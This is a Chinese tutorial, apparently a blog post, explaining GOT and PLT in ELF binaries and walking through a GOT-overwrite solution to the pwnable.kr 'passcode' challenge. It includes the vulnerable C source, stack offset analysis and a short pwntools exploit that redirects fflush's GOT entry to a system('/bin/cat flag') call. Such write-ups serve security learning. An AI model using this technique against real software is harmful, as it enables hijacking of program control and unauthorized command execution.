GOT和PLT

GOT表

概念:每一个外部定义的符号在全局偏移表(Global offset Table)中有相应的条目,GOT位于ELF的数据段中,叫做GOT段。

作用:把位置无关的地址计算重定位到一个绝对地址。程序首次调用某个库函数时,运行时连接编辑器(rtld)找到相应的符号,并将它重定位到GOT之后每次调用这个函数都会将控制权直接转向那个位置,而不再调用rtld。

PLT表

过程连接表(Procedure Linkage Table),一个PLT条目对应一个GOT条目

当main()函数开始,会请求plt中这个函数的对应GOT地址,如果第一次调用那么GOT会重定位到plt,并向栈中压入一个偏移,程序的执行回到_init()函数,rtld得以调用就可以定位printf的符号地址,第二次运行程序再次调用这个函数时程序跳入plt,对应的GOT入口点就是真实的函数入口地址。

动态连接器并不会把动态库函数在编译的时候就包含到ELF文件中,仅仅是在这个ELF被加载的时候,才会把那些动态函库数代码加载进来,之前系统只会在ELF文件中的GOT中保留一个调用地址.

GOT覆写

PLT能覆写吗?

既然GOT能覆写,那么PLT能覆写吗?答案是不能,本文基于以下的代码(具体可参考https://pwnable.kr/index.php#)

//源代码passcode.c
#include <stdio.h>
#include <stdlib.h>
void login(){
    int passcode1;
    int passcode2;
    printf("enter passcode1 : ");
    scanf("%d", passcode1);
    fflush(stdin);
    // ha! mommy told me that 32bit is vulnerable to bruteforcing :)
    printf("enter passcode2 : ");
    scanf("%d", passcode2);
    printf("checking...n");
    if(passcode1==338150 && passcode2==13371337){
                printf("Login OK!n");
                system("/bin/cat flag");
     }
    else{
            printf("Login Failed!n");
    	    exit(0);
    }
}
void welcome(){
    char name[100];
    printf("enter you name : ");
    scanf("%100s", name);
    printf("Welcome %s!n", name);
}
int main(){
    printf("Toddler's Secure Login System 1.0 beta.n");
    welcome();
    login();
    // something after login...
    printf("Now I can safely trust you that you have credential :)n");
    return 0;    
}

使用gcc编译:

漏洞利用-GOT覆写技术_重定位

注意这里的编译警告。大概意思是说scanf的第二个参数类型应该是int*,而实际上是int。而这正是实现GOT覆写的地方,稍后会介绍。这里主要说下PLT为何不能够覆写。通过objdump -h pwnme命令可以查看可执行文件(pwnme)的节的信息:

漏洞利用-GOT覆写技术_#include_02

我们注意到.plt节是REAONLY的,显然,这是没有办法修改的,而.got节是没有READONLY属性的,是可以修改。关于ELF文件和各个节的含义会在后续文章中介绍。

深入分析scanf

一个简单的scanf代码,功能是通过输入设置a的值。

#include <stdio.h>
int main(){
    int a ;
    printf("%x\n",a);
    scanf("%d",&a);
    fflush(stdin);
}

通过调试可知,当输入5的时候,在0xffac6a78地址的地方存放着输入的5,这正是变量a的值。

漏洞利用-GOT覆写技术_#include_03

如果写成scanf("%d",a)会怎么样子那?除了警告之外,还会发生什么?按照上面的分析,a应该会被当作地址来处理的,如果a是一个got表项的地址,那么不就能够实现覆写了吗?

GOT覆写

首先查看以flag信息,我们要利用GOT覆写技术来实现获取flag信息。查看flag文件的信息如下:

漏洞利用-GOT覆写技术_#include_04

查看flag的内容可知是"无情剑客"。

检查pwnme采用的保护措施,使用checksec,如下所示,禁用了PIE,禁用NX。

漏洞利用-GOT覆写技术_覆写_05

使用radare2对pwnme进行调试分析

查看welcome函数的汇编代码,可知ebp-6ch就是我们在函数中定义的name。

漏洞利用-GOT覆写技术_覆写_06

查看寄存器的值,注意观察ebp的值。

漏洞利用-GOT覆写技术_#include_07


查看login函数的汇编代码。

漏洞利用-GOT覆写技术_重定位_08

在第一个scanf打断点,查看ebp的值:

漏洞利用-GOT覆写技术_#include_09

通过观察可知,两者的ebp的值是一样的。通过分析汇编代码可知name,password1,password2等相对于ebp的偏移分别是6ch,ch,10h。

High
    Address |                 |
            +-----------------+
            | args            |
            +-----------------+
            | return address  |
            +-----------------+
     	ebp | old ebp         |
            +-----------------+ 
   ebp-ch   |                 |password1的地址
            +-----------------+
 ebp-10h    |                 |password2的地址
            +-----------------+
            |   ...           |
            +-----------------+
 ebp-6ch    |                  |name的起始地址
            +-----------------+
    Low     |                 |
    Address

如果我们的name足够长,覆盖到password1变量的地址,就能够控制password1的值的吗?通过计算6ch-ch=60h=96可知name和password1相差96个字符。

通过上面对scanf的分析,当输入的变量没有用取地址符号&,导致读入数据的时候,scanf会把这个变量中的值当成存储地址来存放数据,name值的最后4个字节是passcode1值,所以可以通过将passcode1的值改为fflush()的地址,scanf()之后会调用fflush()函数,覆盖fflush()在GOT表中的内容,把system(“/bin/cat flag”)对应汇编代码地址写入fflush()中,当这个函数被调用时,就会直接执行system(“/bin/cat flag”)。

通过objection -R pwnme查看GOT表可知fflush的地址为0x0804a010。

漏洞利用-GOT覆写技术_重定位_10

通过login的汇编代码可知system(“/bin/cat flag”)的地址是0x080485e3。

漏洞利用-GOT覆写技术_#include_11

攻击代码

#-*- coding: UTF-8 -*- 
#!/usr/bin/python 

from pwn import *
p= process('./pwnme')
fflush_got = 0x0804a010
system_addr = 0x80485e3
payload = "A" * 96 + p32(fflush_got) + str(system_addr)
p.send(payload)
p.interactive()

参考连接

elf格式分析深入理解GOT表覆写技术

公众号

了解更多二进制安全内容,欢迎关注我的公众号。

漏洞利用-GOT覆写技术_覆写_12